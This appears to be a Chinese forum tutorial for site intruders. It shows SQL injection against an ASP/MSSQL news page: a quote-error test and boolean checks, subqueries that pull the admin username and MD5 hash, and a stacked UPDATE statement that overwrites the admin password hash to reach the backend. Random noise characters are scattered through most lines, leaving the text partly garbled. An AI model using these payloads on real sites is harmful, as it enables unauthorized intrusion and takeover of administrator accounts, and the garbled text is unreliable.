经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。
" k j& \1 E9 b3 U可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)5 g! I( o5 \: f. H
测试如下:
# W5 h' U% D+ yhttp://www.tmdsb.com/news.asp?id=121% p0 f, }% s+ }, c
在地址后输入单引号,显示; a6 G h9 q, k" b+ T
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
: K$ Z4 t! B4 ]) e4 s7 E字符串 ’’’ 之前有未闭合的引号
7 H* F* R# f. o* E/news/tmdws.asp,行634 ]/ W, _( x# ?
说明没有过滤单引号且数据库是MSSQL." ~- S% W: O0 M- c& n
and 1=1正常。and 1=2出错。肯定存在注入7 x# @( Y2 D v) b" w1 {
接着输入/ q+ P1 p1 M2 A7 w3 O
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
4 J9 @. L) b3 I4 A/ b" i得到帐号为:admin! \" d+ v7 {7 V: M3 I
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin), v9 \, ^/ [ @
得到密码为:a4716077c2ba075c
! }) h( ~( M4 T! j2 n' s接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f29433, A! H4 G3 p" N @* Y- r
命令如下 :& q) f" r* O4 d
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
+ W/ W9 p$ d6 w1 v4 e( `8 Z- m这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的 |